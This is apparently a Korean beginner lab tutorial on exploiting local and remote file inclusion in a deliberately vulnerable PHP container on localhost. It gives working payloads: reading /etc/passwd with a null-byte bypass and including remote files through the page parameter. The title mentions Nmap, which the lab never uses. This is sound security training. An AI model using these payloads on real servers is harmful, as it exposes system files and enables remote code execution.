Nmap 을 이용한 파일 포함 취약점 (File Inclusion Vulnerabilities) 악용

Beginner

소개

이 랩에서는 로컬 및 원격 파일 포함 취약점을 악용하는 방법을 배우게 됩니다. 파일 포함 취약점은 사용자 입력이 부적절하게 처리되어 서버의 파일을 포함하는 데 사용될 때 발생합니다. 이는 민감한 데이터 노출, 원격 코드 실행 (Remote Code Execution, RCE) 및 기타 심각한 결과로 이어질 수 있습니다. 이 랩에서 사용되는 기술과 페이로드 (payload) 를 이해함으로써 이러한 취약점을 식별하고 악용하는 실질적인 경험을 얻을 수 있습니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 100%입니다.학습자들로부터 100%의 긍정적인 리뷰율을 받았습니다.

환경 설정

이 단계에서는 파일 포함 취약점 악용 기술을 연마하기 위한 랩 환경을 구축합니다.

먼저, 취약한 웹 애플리케이션을 시작하기 위해 아래 명령을 실행합니다.

docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com

이 명령은 포트 81 에서 작동하는 취약한 웹 애플리케이션이 포함된 Docker 컨테이너를 시작합니다.

다음으로, 웹 브라우저를 실행하고 http://127.0.0.1:81로 이동합니다. 웹 애플리케이션의 홈페이지가 표시되어야 합니다.

파일 포함 취약점 식별

이 단계에서는 URL 매개변수를 자세히 살펴보고 가능한 파일 포함 취약점을 식별하는 방법을 살펴보겠습니다.

웹 애플리케이션의 홈페이지에서 "Submit" 및 "Login" 버튼을 누릅니다. 브라우저의 주소 표시줄에 있는 URL 에 주의하십시오. page 매개변수에 따라 URL 이 변경되는 것을 확인할 수 있습니다. 예를 들어, http://127.0.0.1:81/index.php?page=submithttp://127.0.0.1:81/index.php?page=login과 같습니다.

이 패턴은 웹 애플리케이션이 사용자 입력을 안전하지 않은 방식으로 처리하고 있음을 나타내며, 이는 잠재적으로 파일 포함 취약점을 발생시킬 수 있습니다.

취약점 확인

이 단계에서는 파일 포함 취약점을 탐지하는 방법을 살펴보겠습니다. 두 가지 일반적인 방법이 있습니다.

  1. 배열 매개변수 방법 (Array Parameter Method): page 매개변수를 배열로 수정합니다. 예를 들어, http://localhost:81/index.php?page[]=test와 같습니다. "include" 또는 "failed to open stream"을 언급하는 경고 또는 오류 메시지가 나타나면, 애플리케이션이 사용자 입력을 기반으로 파일을 포함하려고 시도하고 있음을 나타내므로 잠재적인 취약점을 의미합니다.

  2. 로컬 파일 포함 테스트 (Local File Inclusion Test): 서버에 있는 로컬 파일, 예를 들어 Linux 의 /etc/passwd 또는 Windows 의 C:\Windows\System32\drivers\etc\hosts를 포함하려고 시도합니다. 파일의 내용이 표시되면 로컬 파일 포함 취약점이 확인됩니다.

이 튜토리얼에서는 /etc/passwd 파일을 포함하는 두 번째 방법을 사용합니다.

http://localhost:81/index.php?page=/etc/passwd

애플리케이션이 /etc/passwd 대신 /etc/passwd.php를 포함하려고 시도한다는 오류 메시지가 표시될 것입니다. 이는 애플리케이션이 포함된 파일에 자동으로 .php를 추가하기 때문입니다.

이를 우회하기 위해 널 바이트 기술 (%00) 을 사용할 수 있습니다. 널 바이트는 문자열을 종료하여 애플리케이션이 그 뒤에 오는 모든 것을 무시하도록 합니다.

아래 페이로드를 시도해 보십시오.

http://localhost:81/index.php?page=/etc/passwd%00

/etc/passwd 파일의 내용을 볼 수 있다면, 로컬 파일 포함 취약점이 존재함을 확인하는 것입니다.

원격 파일 포함 (RFI) 공격

이 단계에서는 원격 파일 포함의 개념과 잠재적인 취약점에 대해 자세히 알아보겠습니다.

원격 파일 포함은 공격자가 외부 서버에서 파일을 포함할 수 있도록 허용할 수 있는 중요한 문제입니다. 이는 원격 코드 실행 또는 민감한 데이터 노출과 같은 심각한 보안 침해로 이어질 수 있습니다.

외부 서버에서 호스팅된 원격 파일을 포함하려는 예시부터 시작해 보겠습니다.

http://localhost:81/index.php?page=https://www.example.com/index.html%00

이것을 실행하면 웹 애플리케이션의 응답에 포함된 원격 파일의 내용을 볼 수 있습니다.

실제 시나리오에서 공격자는 일반적으로 자신이 제어하는 서버에 자체 악성 페이로드를 호스팅한 다음 원격 파일 포함 취약점을 사용하여 이를 포함하려고 시도합니다.

이 데모의 목적을 위해 PentesterLab 웹사이트에서 미리 호스팅된 페이로드를 사용합니다.

http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00

이 페이로드는 phpinfo() 함수를 트리거하여 서버의 PHP 구성에 대한 정보를 공개합니다.

이것은 잠재적인 취약점에 대한 데모임을 기억하십시오. 자체 애플리케이션을 구축할 때는 이러한 공격을 방지하기 위해 적절한 보안 조치를 구현하는 것이 중요합니다. 다음 섹션에서는 이러한 보안 관행 중 일부에 대해 이야기하겠습니다.

요약

이 랩에서는 로컬 및 원격 파일 포함 취약점을 식별하고 악용하는 방법을 배웠습니다. 취약한 웹 애플리케이션을 설정하고, 잠재적인 취약점을 식별하기 위해 URL 매개변수를 분석했으며, 다양한 기술을 사용하여 파일 포함 취약점의 존재를 확인하고, 마지막으로 로컬 및 원격 파일 포함 취약점을 모두 악용했습니다. 이러한 취약점과 악용 방법을 이해하는 것은 웹 애플리케이션 보안 테스트에 필수적이며, 민감한 데이터 및 시스템의 보호를 보장하는 데 중요합니다.